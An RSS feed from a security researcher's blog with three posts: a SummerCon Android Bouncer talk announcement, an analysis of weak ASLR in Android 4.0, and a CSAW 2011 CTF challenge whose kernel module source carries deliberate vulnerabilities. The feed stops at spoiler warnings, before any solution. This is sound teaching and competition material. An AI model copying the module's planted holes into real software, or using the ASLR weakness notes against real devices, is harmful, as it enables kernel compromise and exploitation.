<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>jon.oberheide.org</title>
	<atom:link href="http://jon.oberheide.org/blog/feed/" rel="self" type="application/rss+xml" />
	<link>http://jon.oberheide.org/blog</link>
	<description></description>
	<lastBuildDate>Thu, 21 Jun 2012 19:14:35 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5.1</generator>
		<item>
		<title>Dissecting the Android Bouncer</title>
		<link>http://jon.oberheide.org/blog/2012/06/21/dissecting-the-android-bouncer/</link>
		<comments>http://jon.oberheide.org/blog/2012/06/21/dissecting-the-android-bouncer/#comments</comments>
		<pubDate>Thu, 21 Jun 2012 19:14:35 +0000</pubDate>
		<dc:creator>Jon Oberheide</dc:creator>
				<category><![CDATA[Technical]]></category>

		<guid isPermaLink="false">http://jon.oberheide.org/blog/?p=1004</guid>
		<description><![CDATA[At SummerCon this year, Charlie Miller and I gave a talk on Android&#8217;s Bouncer. Our presentation materials are now publicly available. The week before our presentation, we also posted a teaser video showing our remote connect-back shell that we used to explore the Bouncer environment: Enjoy!]]></description>
				<content:encoded><![CDATA[<p>At <a href="http://summercon.org/" target="_blank">SummerCon</a> this year, Charlie Miller and I gave a talk on <a href="http://googlemobile.blogspot.com/2012/02/android-and-security.html" target="_blank">Android&#8217;s Bouncer</a>. Our presentation materials are now <a href="http://jon.oberheide.org/files/summercon12-bouncer.pdf" target="_blank">publicly available</a>.</p>
<p><span id="more-1004"></span></p>
<p><a href="http://jon.oberheide.org/files/summercon12-bouncer.pdf" target="_blank"><img class="aligncenter size-full wp-image-1018" title="Dissecting the Android Bouncer" src="http://jon.oberheide.org/blog/wp-content/uploads/2012/06/android-bouncer.png" alt="Dissecting the Android Bouncer" width="577" height="433" /></a></p>
<p>The week before our presentation, we also posted a teaser video showing our remote connect-back shell that we used to explore the Bouncer environment:</p>
<p><iframe src="http://www.youtube.com/embed/ZEIED2ZLEbQ" frameborder="0" width="560" height="315"></iframe></p>
<p>Enjoy!</p>
]]></content:encoded>
			<wfw:commentRss>http://jon.oberheide.org/blog/2012/06/21/dissecting-the-android-bouncer/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ASLR in Android Ice Cream Sandwich 4.0</title>
		<link>http://jon.oberheide.org/blog/2012/02/27/aslr-in-android-ice-cream-sandwich-4-0/</link>
		<comments>http://jon.oberheide.org/blog/2012/02/27/aslr-in-android-ice-cream-sandwich-4-0/#comments</comments>
		<pubDate>Mon, 27 Feb 2012 21:36:40 +0000</pubDate>
		<dc:creator>Jon Oberheide</dc:creator>
				<category><![CDATA[Technical]]></category>

		<guid isPermaLink="false">http://jon.oberheide.org/blog/?p=991</guid>
		<description><![CDATA[When I first saw the release notes for the new Android Ice Cream Sandwich (ICS) platform, I was excited to see that Google mentioned that &#8220;Android 4.0 now provides address space layout randomization&#8221;: For the uninitiated, ASLR randomizes where various areas of memory (eg. stack, heap, libs, etc) are mapped in the address space of a process. [...]]]></description>
				<content:encoded><![CDATA[<p>When I first saw the release notes for the new Android Ice Cream Sandwich (ICS) platform, I was excited to see that Google mentioned that &#8220;Android 4.0 now provides address space layout randomization&#8221;:</p>
<p><span id="more-991"></span></p>
<p style="text-align: center;"><img class="aligncenter size-full wp-image-993" title="ICS ASLR" src="http://jon.oberheide.org/blog/wp-content/uploads/2012/03/aslr.png" alt="" width="540" height="166" /></p>
<p>For the uninitiated, <a href="http://en.wikipedia.org/wiki/Address_space_layout_randomization" target="_blank">ASLR</a> randomizes where various areas of memory (eg. stack, heap, libs, etc) are mapped in the address space of a process. Combined with complementary mitigation techniques such as non-executable memory protection (NX, XN, DEP, W^X, whatever you want to call it), ASLR makes the exploitation of traditional memory corruption vulnerabilities probabilistically difficult.</p>
<p>However, ASLR is commonly an all-or-nothing proposition. If ASLR is not applied to all areas of memory in a process, its effectiveness is often nullified. A single executable mapping that is mapped in a static location in the address space is often sufficient to construct a ROP payload. For example, this was the indeed case with the OS X prior to 10.7, where the <a href="http://securityevaluators.com/files/papers/SnowLeopard.pdf" target="_blank">dynamic linker was not randomized</a>, providing a sufficient gadget source for a ROP payload.</p>
<p>So, let&#8217;s take a look at this new-fangled ICS 4.0 platform and see if ASLR was properly and fully implemented.</p>
<h3>ASLR with the Linux Kernel</h3>
<p>It&#8217;s a bit misleading to talk about how Android implements ASLR. In fact, ASLR is primarily provided by the Linux kernel, which happens to be the OS of the Android platform. Usually, in Linux-land, ASLR can apply to a variety of memory areas:</p>
<ul>
<li><strong>Stack:</strong> The userspace stack mapping set up by the kernel during exec(2) should be sufficiently randomized. Stack randomization is performed by the randomize_stack_top() function.</li>
<li><strong>Heap:</strong> The heap location returned by the brk(2) system call when a program is first exec&#8217;ed should be randomized. Heap randomization is performed by the arch_randomize_brk() function.</li>
<li><strong>Libs and mmap:</strong> After NX was introduced, static library mapping led to the popularity of ret-to-libc and more generic ret-to-lib attacks. The location of libraries and other mmap&#8217;ed regions should be randomized.</li>
<li><strong>Exec:</strong> Even if you&#8217;re randomized the mapping of all the shared libaries that an executable uses, you still need to randomize the location of the executable itself when it is mapped into the address space. Otherwise, the executable mapping can be used as a source for ROP gadgets.</li>
<li><strong>Linker:</strong> On most Linux systems, the ld.so dynamic linker provided by glibc can self-relocate itself, so its mapping is randomized. However, as we&#8217;ll see, this isn&#8217;t the case for all linkers.</li>
<li><strong>VDSO:</strong> The VDSO (Virtual Dynamically-linked Shared Object) is an executable mapping of a virtual shared library provided by the kernel for syscall transitions. However, most Android devices run on the ARM architecture, which doesn&#8217;t use a VDSO.</li>
</ul>
<p>So while a modern kernel on a recent desktop or server Linux distribution will commonly offer full ASLR, there&#8217;s plenty of opportunity to screw up any of the above ASLR mappings with improper system, toolchain, libc, or linker configurations.</p>
<h3>ASLR Support in Android 2.x</h3>
<p>Prior to ICS 4.0, ASLR in Android was almost non-existent. One way to easily and quickly test the ASLR support of a platform is to dump the memory map for a process across multiple executions. For example, the /proc/pid/maps for the vold process across multiple executions on a Nexus S device running Android 2.3.4 looks like the following:</p>
<p style="text-align: center;"><img class="aligncenter size-full wp-image-997" title="Nexus S ASLR" src="http://jon.oberheide.org/blog/wp-content/uploads/2012/03/nexus-s-alsr1.png" alt="" width="506" height="146" /></p>
<p>As the memory maps show, the only randomized memory region across two consecutive executions of the vold process is the stack. The executable region (vold), heap, libraries (libc.so), and linker are loaded at the same locations in the address space.</p>
<p>Where does our stack randomization come from on Android? From the arch-independent code in fs/binfmt_elf.c that is invoked when executing ELF binaries. More specifically, the load_elf_binary() function calls randomize_stack_top():</p>
<pre>#ifndef STACK_RND_MASK
#define STACK_RND_MASK (0x7ff &gt;&gt; (PAGE_SHIFT - 12)) /* 8MB of VA */
#endif</pre>
<pre>static unsigned long randomize_stack_top(unsigned long stack_top)
{
    unsigned int random_variable = 0;</pre>
<pre>    if ((current-&gt;flags &amp; PF_RANDOMIZE) &amp;&amp;
        !(current-&gt;personality &amp; ADDR_NO_RANDOMIZE)) {
        random_variable = get_random_int() &amp; STACK_RND_MASK;
        random_variable &lt;&lt;= PAGE_SHIFT;
    }
#ifdef CONFIG_STACK_GROWSUP
    return PAGE_ALIGN(stack_top) + random_variable;
#else
    return PAGE_ALIGN(stack_top) - random_variable;
#endif
}</pre>
<p>And that&#8217;s where we get our small bit of stack ASLR in Android 2.x! It&#8217;s clear from these results that ASLR is almost non-existent in Android 2.x. So how does ASLR fare in the latest and great ICS 4.0 that has touted ASLR as a new feature?</p>
<h3>ASLR Support in Android ICS 4.0</h3>
<p>Prior to mid-2010, the ARM architecture support in the Linux kernel didn&#8217;t actually support any ASLR (besides the arch-independent stack randomization). Why? Well, despite there being a huge number of ARM-powered devices out there in the world, there wasn&#8217;t as much of a security focus on ARM until the explosion of our modern consumer mobile devices. In June 2010, three commits from Nicolas Pitre changed that.</p>
<p>The first commit (<a href="http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commitdiff;h=cc92c28b2d" target="_blank">cc92c28b2d</a>) added support for randomization of the libs/mmap mappings:</p>
<pre>--- a/arch/arm/mm/mmap.c
+++ b/arch/arm/mm/mmap.c
@@ -80,6 +81,9 @@ arch_get_unmapped_area(struct file *filp, unsigned long addr,
 	        start_addr = addr = TASK_UNMAPPED_BASE;
 	        mm-&gt;cached_hole_size = 0;
 	}
+	/* 8 bits of randomness in 20 address space bits */
+	if (current-&gt;flags &amp; PF_RANDOMIZE)
+		addr += (get_random_int() % (1 &lt;&lt; 8)) &lt;&lt; PAGE_SHIFT;

 full_search:
 	if (do_align)</pre>
<p>The second commit (<a href="http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commitdiff;h=990cb8acf2" target="_blank">990cb8acf2</a>) added support for randomization of the heap/brk mapping:</p>
<pre>--- a/arch/arm/kernel/process.c
+++ b/arch/arm/kernel/process.c
@@ -421,3 +422,9 @@ unsigned long get_wchan(struct task_struct *p)
 	} while (count ++ &lt; 16);
 	return 0;
 }
+
+unsigned long arch_randomize_brk(struct mm_struct *mm)
+{
+	unsigned long range_end = mm-&gt;brk + 0x02000000;
+	return randomize_range(mm-&gt;brk, range_end, 0) ? : mm-&gt;brk;
+}</pre>
<p>The third commit (<a href="http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commitdiff;h=e4eab08d60" target="_blank">e4eab08d60</a>) added support for randomization of the executable mapping:</p>
<pre>--- a/fs/binfmt_elf.c
+++ b/fs/binfmt_elf.c
@@ -800,7 +800,7 @@ static int load_elf_binary(struct linux_binprm *bprm, struct pt_regs *regs)
 			 * default mmap base, as well as whatever program they
 			 * might try to exec.  This is because the brk will
 			 * follow the loader, and is not movable.  */
-#ifdef CONFIG_X86
+#if defined(CONFIG_X86) || defined(CONFIG_ARM)
 			load_bias = 0;
 #else
 			load_bias = ELF_PAGESTART(ELF_ET_DYN_BASE - vaddr);</pre>
<p>These three commits were included in the 3.x kernel shipping with the Galaxy Nexus, so Android 4.0 should inherit full ASLR support just by using an updated Linux kernel, right? Ideally, yes, but let&#8217;s take a look at a real Galaxy Nexus device (running 4.0.2) to see what randomization is actually present:</p>
<p style="text-align: center;"><img class="aligncenter size-full wp-image-996" title="Galaxy Nexus ASLR" src="http://jon.oberheide.org/blog/wp-content/uploads/2012/03/galaxy-nexus-alsr.png" alt="" width="506" height="146" /></p>
<p>Well, there&#8217;s a slight improvement: the location of libc.so and other shared libraries mapped into the vold address space are randomized. But why aren&#8217;t the heap, executable, and linker mappings randomized?</p>
<h3>Heap Randomization</h3>
<p>According to commit <a href="http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commitdiff;h=990cb8acf2" target="_blank">990cb8acf2</a>, the heap/brk mapping should be randomized. However, the heap randomization enabled in that commit is still contingent on a sysctl parameter, kernel.randomize_va_space.</p>
<p>If kernel.randomize_va_space is set to 1, the mmap, stack, VDSO, and executable mapping are randomized. However, the heap is not randomized unless kernel.randomize_va_space is set to 2. The reasoning behind this setting is that some legacy applications assume that the heap is mapped in a specific location.</p>
<p>So, checking out the Galaxy Nexus device, we see that the randomize_va_space attribute is still set to 1, preventing the heap mapping from being randomization:</p>
<pre>shell@android:/ # cat /proc/sys/kernel/randomize_va_space
1</pre>
<p>What happens if we manually set kernel.randomize_va_space to 2? Let&#8217;s try:</p>
<pre>shell@android:/ # echo 2 &gt; /proc/sys/kernel/randomize_va_space
shell@android:/ # cat /proc/sys/kernel/randomize_va_space
2</pre>
<p>Re-running our vold binary with randomize_va_space set to 2, we see that the heap location is now successfully randomized:</p>
<p style="text-align: center;"><img class="aligncenter size-full wp-image-998" title="Galaxy Nexus ASLR randomize_va_space" src="http://jon.oberheide.org/blog/wp-content/uploads/2012/03/galaxy-nexus-alsr-vaspace2.png" alt="" width="506" height="146" /></p>
<h3>Executable Randomization</h3>
<p>So if the kernel supports randomizing ELF executable mappings and randomize_va_space is set to an appropriate value, why isn&#8217;t the Android platform randomizing the location of the vold binary?</p>
<p>In order for executable mappings to be randomized, the binary being executed needs to be compiled appropriately so that it can be relocated at runtime. In particular, the binary must be compiled with GCC&#8217;s -pie -fPIE flags to result in a <a href="http://en.wikipedia.org/wiki/Position-independent_code#Position-independent_executables" target="_blank">Position Independent Executable</a> (PIE).</p>
<p>One easy way to check whether a binary is PIE-enabled is with the readelf command. If readelf reports that the binary is of type EXEC, it means that it is not a PIE. If readelf reports a type of DYN, it means that it is a PIE and can be randomized by the kernel when it is mapped.</p>
<p>Running readelf on the vold binary on the Galaxy Nexus device shows the non-PIE EXEC type ELF binary:</p>
<pre>$ arm-eabi-readelf -h vold | grep Type
 Type: EXEC (Executable file)</pre>
<p>Running readelf on a PIE-binary on a normal non-Android Linux system shows the expected DYN type:</p>
<pre>$ readelf -h /bin/cat | grep Type
 Type: DYN (Shared object file)</pre>
<p>To address this issue, all executables on the Android system need to be compiled with PIE support. Unfortunately, PIE does impose a non-trivial performance penalty for architectures with limited GPRs, but that may be an acceptable trade-off for certain high-risk Android executables.</p>
<h3>Linker Randomization</h3>
<p>Last but certainly not least, the custom dynamic linker that Android uses it not randomized. This is a serious concern as the linker will be present at a static address across most, if not all, processes on the system. The executable linker mapping also provides a plentiful source for gadgets that can be used to construct a ROP payload when exploiting a memory corruption vulnerability.</p>
<p>Simply put, the amount of code available in the static dynamic linker mapping completely nullifies the efficacy of the ASLR in ICS 4.0. Hopefully Google modifies it&#8217;s dynamic linker to support relocation in the near future.</p>
<h3>Additional ASLR Concerns on Android</h3>
<p>Regardless of the platform version, ASLR in Android is also complicated by two issues that are a bit more inherent in the current platform design and architecture:</p>
<ul>
<li><strong>32-bit address space: </strong>So far, our mobile devices have remained limited to 32-bit address spaces. With a 32-bit system, there&#8217;s limited address space available to shift memory regions around, making ASLR less effective especially in scenarios where an attacker may have multiple tries to exploit the process. It&#8217;s not unreasonable to consider mobile devices that may address more than 4 GB of physical memory and require a move to 64-bit CPUs, allowing much more address space for randomization, but who knows how far off in the future that is.</li>
<li><strong>Zygote system process: </strong>The Zygote process on the Android platform acts as the prototypical process for all new Android applications. When a new process is launched, the Zygote will fork(2) its process and launch the requested app. This is simply a performance optimization that eliminates the overhead of spinning up a new Dalvik VM from scratch when an application is launched. However, it also means that the memory mappings inherited from the Zygote address space are identical across all Dalvik applications. One could imagine a scenario where a malicious app on a victim&#8217;s device leaks address mappings from its own process off to an attacker to assist in exploiting another process (eg. the browser) that might have higher privilege or valuable data. It&#8217;s a bit of an exotic scenario though, so the Zygote issue is fairly low risk for now.</li>
</ul>
<h3>Wrap-up</h3>
<p>Unfortunately, the ASLR support in Android 4.0 did not live up to expectations and is largely ineffective for mitigating real-world attacks, due to the lack of randomization of the executable and linker memory regions. It also would be beneficial to randomize the heap/brk by setting kernel.randomize_va_space=2.</p>
<p>In addition to ASLR, Android could certainly stand to beef up some of it&#8217;s other exploit mitigation mechanisms. Non-executable memory support was recently added and GCC&#8217;s stack protector is now enabled in the default NDK CFLAGS, but other mitigations are still lacking. RELRO is missing allowing GOT overwrites as demonstrated in Stealth&#8217;s <a href="http://c-skills.blogspot.com/2011/04/yummy-yummy-gingerbreak.html" target="_blank">GingerBreak exploit</a>.</p>
<p>I&#8217;d also love to see code signing support similar to iOS, which prevents the introduction of new executable code in an address space. In addition, code signing would hamper the ability to pull down additional malicious code at runtime, a <a href="http://jon.oberheide.org/files/summercon10-androidhax-jonoberheide.pdf" target="_blank">technique I demonstrated</a> two years ago at SummerCon that the <a href="http://www.csc.ncsu.edu/faculty/jiang/RootSmart/" target="_blank">RootSmart malware authors</a> have recently adopted.</p>
<p>Let&#8217;s just hope that we don&#8217;t have to wait for another major version release of the Android platform to get the same exploit mitigations that have been available on desktop and server platforms for years.</p>
<p><strong>UPDATE: </strong>Nick Kralevich from the Android Security Team provided the following updates in the comments below:</p>
<ul>
<li>kernel.randomize_va_space is set to 2 in ICS 4.0.3, randomizing the heap/brk mapping.</li>
<li>Support for randomizing the linker mapping will be available in a future Android release.</li>
<li>Support for randomizing executable mappings (PIE) will be available in a future Android release.</li>
</ul>
<p>Sounds promising! We&#8217;ll be sure to check back in when those updates are live!</p>
]]></content:encoded>
			<wfw:commentRss>http://jon.oberheide.org/blog/2012/02/27/aslr-in-android-ice-cream-sandwich-4-0/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CSAW CTF 2011 Kernel Exploitation Challenge</title>
		<link>http://jon.oberheide.org/blog/2011/11/27/csaw-ctf-2011-kernel-exploitation-challenge/</link>
		<comments>http://jon.oberheide.org/blog/2011/11/27/csaw-ctf-2011-kernel-exploitation-challenge/#comments</comments>
		<pubDate>Sun, 27 Nov 2011 20:32:59 +0000</pubDate>
		<dc:creator>Jon Oberheide</dc:creator>
				<category><![CDATA[Technical]]></category>

		<guid isPermaLink="false">http://jon.oberheide.org/blog/?p=956</guid>
		<description><![CDATA[My challenge for this year&#8217;s NYU Poly CSAW CTF finals was a Linux kernel exploitation challenge disguised as a crypto challenge. The challenge and solution are described below. The Challenge Each team is given unprivileged remote shell access to a Linux VM. There is a custom kernel module, SqueamishOssifrage.ko, loaded. The full source code of the [...]]]></description>
				<content:encoded><![CDATA[<p>My challenge for this year&#8217;s NYU Poly <a href="http://www.poly.edu/csaw2011/csaw-CTF" target="_blank">CSAW CTF</a> finals was a Linux kernel exploitation challenge disguised as a crypto challenge. The challenge and solution are described below.</p>
<p><span id="more-956"></span></p>
<h2>The Challenge</h2>
<p>Each team is given unprivileged remote shell access to a Linux VM. There is a custom kernel module, SqueamishOssifrage.ko, loaded. The full source code of the kernel module is provided to the team. SqueamishOssifrage.c is reproduced below (and can be downloaded <a href="http://jon.oberheide.org/files/SqueamishOssifrage.c">here</a>):</p>
<pre>/*
 * SqueamishOssifrage.c
 * CSAW 2011 CTF Challenge Kernel Module
 * Jon Oberheide &lt;jon@oberheide.org&gt;
 *
 * Decrypt the flag...and win?
 *
 * Information:
 *
 *   /proc/csaw/key:     get/set symmetric key
 *   /proc/csaw/encrypt: get/set encrypted payload
 *   /proc/csaw/decrypt: get/set decrypted payload
 *
 * Example usage:
 *
 *   # set a key
 *   $ echo "this is a key" &gt; /proc/csaw/key
 *
 *   # encrypt payload with that key
 *   $ echo "hello world" &gt; /proc/csaw/encrypt
 *
 *   # retrieve encrypted payload
 *   $ cat /proc/csaw/encrypt &gt; payload.enc
 *
 *   # decrypt encrypted payload
 *   $ cat payload.enc &gt; /proc/csaw/decrypt
 *
 *   # retrieve decrypted payload
 *   $ cat /proc/csaw/decrypt &gt; payload.dec
 *
 *   # view decrypted payload
 *   $ cat payload.dec
 *   hello world
 */

#include &lt;linux/module.h&gt;
#include &lt;linux/kernel.h&gt;
#include &lt;linux/init.h&gt;
#include &lt;linux/proc_fs.h&gt;
#include &lt;linux/string.h&gt;
#include &lt;asm/uaccess.h&gt;

#define PROC_CSAW    "csaw"
#define PROC_KEY     "key"
#define PROC_ENCRYPT "encrypt"
#define PROC_DECRYPT "decrypt"
#define MAX_LENGTH   128
#define MAX_ROUNDS   64
#define DELTA        0x9e3779b9

MODULE_LICENSE("GPL");
MODULE_AUTHOR("Jon Oberheide");
MODULE_DESCRIPTION("CSAW 2011 CTF Challenge Kernel Module");

static struct proc_dir_entry *proc_csaw;
static struct proc_dir_entry *proc_key;
static struct proc_dir_entry *proc_decrypt;
static struct proc_dir_entry *proc_encrypt;

static uint32_t key[4] = { 0, 0, 0, 0 };
static uint32_t rounds = 32;
static unsigned char enc_blob[MAX_LENGTH];
static unsigned char dec_blob[MAX_LENGTH];

void encrypt(uint32_t k[], char *buf, int len, int rounds) __attribute__ ((optimize (0)));
void decrypt(uint32_t k[], char *buf, int len, int rounds) __attribute__ ((optimize (0)));
void scramble(uint32_t k[], uint32_t t[], uint32_t *s, uint32_t *d) __attribute__ ((optimize (0)));
void descramble(uint32_t k[], uint32_t t[], uint32_t *s, uint32_t *d) __attribute__ ((optimize (0)));

void
scramble(uint32_t k[], uint32_t t[], uint32_t *s, uint32_t *d)
{
	uint32_t n, sbox[8];
	uint32_t y = t[0], z = t[1];
	uint32_t delta = DELTA, sum = 0;

	for (n = 0; n &lt; 8; n++) {
		sbox[n] = key[n % 4];
	}
	for (n = 0; n &lt; 32; n++) {
		sum += delta;
		y += ((z &lt;&lt; 4) + k[0]) ^ (z+sum) ^ ((z &gt;&gt; 5) + k[1]);
		z += ((y &lt;&lt; 4) + k[2]) ^ (y+sum) ^ ((y &gt;&gt; 5) + k[3]);
	}
	t[0] = y; s = d + n; t[1] = z;
}

void
encrypt(uint32_t k[], char *buf, int len, int rounds)
{
	int i;

	if (rounds &gt;= 0) {
		if (rounds % 3 == 0) {
			k[0] ^= k[1]; k[1] ^= k[0]; k[0] ^= k[1];
			k[2] ^= k[3]; k[3] ^= k[2]; k[2] ^= k[3];
		} else if (rounds % 3 == 1) {
			k[0] ^= k[2]; k[2] ^= k[0]; k[0] ^= k[2];
			k[1] ^= k[3]; k[3] ^= k[1]; k[1] ^= k[3];
		} else if (rounds % 3 == 2) {
			k[0] ^= k[3]; k[3] ^= k[0]; k[0] ^= k[3];
			k[2] ^= k[1]; k[1] ^= k[2]; k[2] ^= k[1];
		}
		encrypt(k, buf, len, rounds-1);
	} else {
		for (i = 0; i &lt; len / 8; i++) {
			scramble(k, (uint32_t *)(buf + (i * 8)), (uint32_t *) 0, (uint32_t *) DELTA);
		}
	}
}

void
descramble(uint32_t k[], uint32_t t[], uint32_t *s, uint32_t *d)
{
	uint32_t n, sbox[8];
	uint32_t y = t[0], z = t[1];
	uint32_t delta = DELTA, sum = delta &lt;&lt; 5;

	for (n = 0; n &lt; 8; n++) {
		sbox[n] = key[n % 4];
	}
	for (n = 0; n &lt; 32; n++) {
		z -= ((y &lt;&lt; 4) + k[2]) ^ (y + sum) ^ ((y &gt;&gt; 5) + k[3]);
		y -= ((z &lt;&lt; 4) + k[0]) ^ (z + sum) ^ ((z &gt;&gt; 5) + k[1]);
		sum -= delta;
	}
	t[0] = y; s = d + n; t[1] = z;
}

void
decrypt(uint32_t k[], char *buf, int len, int rounds)
{
	int i;

	if (rounds &gt;= 0) {
		if (rounds % 3 == 0) {
			k[0] ^= k[1]; k[1] ^= k[0]; k[0] ^= k[1];
			k[2] ^= k[3]; k[3] ^= k[2]; k[2] ^= k[3];
		} else if (rounds % 3 == 1) {
			k[0] ^= k[2]; k[2] ^= k[0]; k[0] ^= k[2];
			k[1] ^= k[3]; k[3] ^= k[1]; k[1] ^= k[3];
		} else if (rounds % 3 == 2) {
			k[0] ^= k[3]; k[3] ^= k[0]; k[0] ^= k[3];
			k[2] ^= k[1]; k[1] ^= k[2]; k[2] ^= k[1];
		}
		decrypt(k, buf, len, rounds-1);
	} else {
		for (i = 0; i &lt; len / 8; i++) {
			descramble(k, (uint32_t *)(buf + (i * 8)), (uint32_t *) 0, (uint32_t *) DELTA);
		}
	}
}

int
key_write(struct file *file, const char __user *ubuf, unsigned long count, void *data)
{
	char buf[MAX_LENGTH];

	printk(KERN_INFO "csaw: called key_write\n");

	memset(buf, 0, sizeof(buf));

	if (count &gt; MAX_LENGTH) {
		count = MAX_LENGTH;
	}
	if (copy_from_user(&amp;buf, ubuf, count)) {
		return -EFAULT;
	}

	sscanf(buf, "%16c\t%d", (char *) key, &amp;rounds);

	return count;
}

int
key_read(char *page, char **start, off_t off, int count, int *eof, void *data)
{
	printk(KERN_INFO "csaw: called key_read\n");

	memcpy(page, key, sizeof(key));

	return sizeof(key);
}

int
encrypt_write(struct file *file, const char __user *ubuf, unsigned long count, void *data)
{
	char buf[MAX_LENGTH];
	uint32_t session[4];

	printk(KERN_INFO "csaw: called encrypt_write\n");

	memset(buf, 0, sizeof(buf));

	if (count &gt; MAX_LENGTH) {
		count = MAX_LENGTH;
	}
	if (copy_from_user(&amp;buf, ubuf, count)) {
		return -EFAULT;
	}

	memcpy(session, key, sizeof(key));

	encrypt(session, buf, sizeof(buf), rounds);

	memcpy(enc_blob, buf, sizeof(buf));

	return count;
}

int
encrypt_read(char *page, char **start, off_t off, int count, int *eof, void *data)
{
	printk(KERN_INFO "csaw: called encrypt_read\n");

	memcpy(page, enc_blob, sizeof(enc_blob));

	return sizeof(enc_blob);
}

int
decrypt_write(struct file *file, const char __user *ubuf, unsigned long count, void *data)
{
	char buf[MAX_LENGTH];
	uint32_t session[4];

	printk(KERN_INFO "csaw: called decrypt_write\n");

	memset(buf, 0, sizeof(buf));

	if (count &gt; MAX_LENGTH) {
		count = MAX_LENGTH;
	}
	if (copy_from_user(&amp;buf, ubuf, count)) {
		return -EFAULT;
	}

	memcpy(session, key, sizeof(key));

	decrypt(session, buf, sizeof(buf), rounds);

	memcpy(dec_blob, buf, sizeof(buf));

	return count;
}

int
decrypt_read(char *page, char **start, off_t off, int count, int *eof, void *data)
{
	printk(KERN_INFO "csaw: called decrypt_read\n");

	memcpy(page, dec_blob, sizeof(dec_blob));

	return sizeof(dec_blob);
}

int __init
csaw_init(void)
{
	printk(KERN_INFO "csaw: loading module\n");

	memset(enc_blob, 0, sizeof(enc_blob));
	memset(dec_blob, 0, sizeof(dec_blob));

	proc_csaw = proc_mkdir(PROC_CSAW, NULL);

	proc_key = create_proc_entry(PROC_KEY, 0666, proc_csaw);
	proc_key-&gt;read_proc = key_read;
	proc_key-&gt;write_proc = key_write;

	proc_encrypt = create_proc_entry(PROC_ENCRYPT, 0666, proc_csaw);
	proc_encrypt-&gt;read_proc = encrypt_read;
	proc_encrypt-&gt;write_proc = encrypt_write;

	proc_decrypt = create_proc_entry(PROC_DECRYPT, 0666, proc_csaw);
	proc_decrypt-&gt;read_proc = decrypt_read;
	proc_decrypt-&gt;write_proc = decrypt_write;

	printk(KERN_INFO "csaw: created /proc/csaw entries\n");

	return 0;
}

void __exit
csaw_exit(void)
{
	printk(KERN_INFO "csaw: unloading module\n");

	remove_proc_entry(PROC_KEY, proc_csaw);
	remove_proc_entry(PROC_ENCRYPT, proc_csaw);
	remove_proc_entry(PROC_DECRYPT, proc_csaw);
	remove_proc_entry(PROC_CSAW, NULL);

	printk(KERN_INFO "csaw: removed /proc/csaw entries\n");
}

module_init(csaw_init);
module_exit(csaw_exit);</pre>
<h2>A Crypto Challenge?</h2>
<p>Lots of crypto looking stuff, huh? As the header tells you, the kernel module exposes an interface via /proc/csaw to set a key and encrypt/decrypt payloads:</p>
<pre>/proc/csaw/key:     get/set symmetric key
/proc/csaw/encrypt: get/set encrypted payload
/proc/csaw/decrypt: get/set decrypted payload</pre>
<p>The teams are also provided with a flag.enc file, which supposedly contains the flag if it can be decrypted successfully. The flag.enc file is as follows:</p>
<pre>$ hexdump -C flag.enc
00000000  a6 8f 6d 42 a0 dd 0e a6  3b 95 99 94 d3 15 10 5a  |..mB....;......Z|
00000010  8d 9d ba 41 d1 4b 78 ba  ec c0 79 93 d8 05 23 a7  |...A.Kx...y...#.|
00000020  5c 25 80 c5 10 63 68 c4  8c 67 e6 68 42 f5 b5 87  |\%...ch..g.hB...|
00000030  42 b3 3d 51 3f a4 f2 85  1b e1 49 7f 20 12 55 49  |B.=Q?.....I. .UI|
00000040  07 00 d9 f4 e8 9e 17 5d  3c 69 fb 84 a3 4b 7d 25  |.......]&lt;i...K}%|
00000050  d4 da 0c 3f 95 94 21 47  ab 1b 66 1e 13 c9 be d9  |...?..!G..f.....|
00000060  f2 57 57 48 21 2c 2c e2  e6 b6 b9 df 03 88 6b 25  |.WWH!,,.......k%|
00000070  15 14 bc 19 2a f0 6c b6  b8 d6 9e 6e 28 c1 5d 39  |....*.l....n(.]9|
00000080</pre>
<p>That&#8217;s it! Can you solve the challenge?</p>
<h2>Spoiler Alert!</h2>
<p>I will provide the solution further down the page, so stop reading right now if you want to try your hand at exploiting the challenge on your own!</p>
<p style="text-align: left;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: left;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: left;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: left;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: left;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: center;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: center;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: center;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: center;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: center;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
